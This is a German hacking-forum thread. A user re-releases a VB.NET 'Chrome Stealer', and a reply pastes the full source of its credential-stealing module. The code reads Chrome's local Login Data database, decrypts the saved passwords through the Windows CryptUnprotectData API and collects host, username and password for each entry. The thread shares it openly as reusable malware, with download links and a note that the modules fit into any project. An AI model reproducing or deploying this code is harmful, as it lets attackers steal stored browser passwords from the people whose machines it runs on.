[Source VB.net] Google Chrome / Chromium Stealer

07/18/2012 07:29 <[.P!xel.]>#1
[Only registered and activated users can see links. Click Here To Register...]
Nach einen Research hab ich den Chrome Stealer den man als funktioniernde Source leider nicht mehr downloaden kann wieder zuusammengebastelt um sie erneut zu releasen :)

Macht damit nichts böses :) (obwohl das ja kaum möglich ist)
Credits sind jeweils in den Modul
.vb können in jedes Projekt eingebunden werden !

Download : [Only registered and activated users can see links. Click Here To Register...]
VirusTotal : [Only registered and activated users can see links. Click Here To Register...]
Hash : aefa41d8ff11b6778b8e8ef63aad57ca
Password :
Bitte leeched das teil nicht und falls doch postet den mein Putlocker Link :)
07/18/2012 09:46 boxxiebabee#2
Woher hast denn den Source schon wieder geklaut? :>
07/18/2012 11:50 tolio#3
Quote:
=== Chrome Stealer Module coded by RockingWithTheBest ===
=== Repacked & re-released & re-uploaded by ===
________ .__
/ _____/______ |__|__ ___
/ \ ___\____ \| \ \/ /
\ \_\ \ |_> > |> <
\______ / __/|__/__/\_ \
\/|__| \/
'aka P!xel
du machst dich ja so lächerlich, geh doch bitte zu free-hack oder sowas >.<



hier der orignal code (1min googlen):
Code:
'**************************************************************
'
'               Coded By: RockingWithTheBest
'
'                           v 0.1
'
'**************************************************************

Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Text

Module Chrome

    Public cPass As String
    Public Sub GetChrome()
        Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"

        Try
            Dim SQLDatabase = New SQLiteHandler(datapath)
            SQLDatabase.ReadTable("logins")

            If File.Exists(datapath) Then

                Dim host, user, pass As String

                For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
                    host = SQLDatabase.GetValue(i, "origin_url")
                    user = SQLDatabase.GetValue(i, "username_value")
                    pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))

                    If (user <> "") And (pass <> "") Then
                        cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
                        & vbNewLine & " ")
                        MsgBox(cPass)
                    End If
                Next

            End If
        Catch e As Exception
            MsgBox(e.ToString)
        End Try
    End Sub
    <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
    Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
    End Function
    <Flags()> Enum CryptProtectPromptFlags
        CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
        CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
    End Enum
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
        Public cbSize As Integer
        Public dwPromptFlags As CryptProtectPromptFlags
        Public hwndApp As IntPtr
        Public szPrompt As String
    End Structure
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As IntPtr
    End Structure
    Function Decrypt(ByVal Datas() As Byte) As String
        Dim inj, Ors As New DATA_BLOB
        Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
        inj.pbData = Ghandle.AddrOfPinnedObject()
        inj.cbData = Datas.Length
        Ghandle.Free()
        CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
        Dim Returned() As Byte = New Byte(Ors.cbData) {}
        Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
        Dim TheString As String = Encoding.Default.GetString(Returned)
        Return TheString.Substring(0, TheString.Length - 1)
    End Function

End Module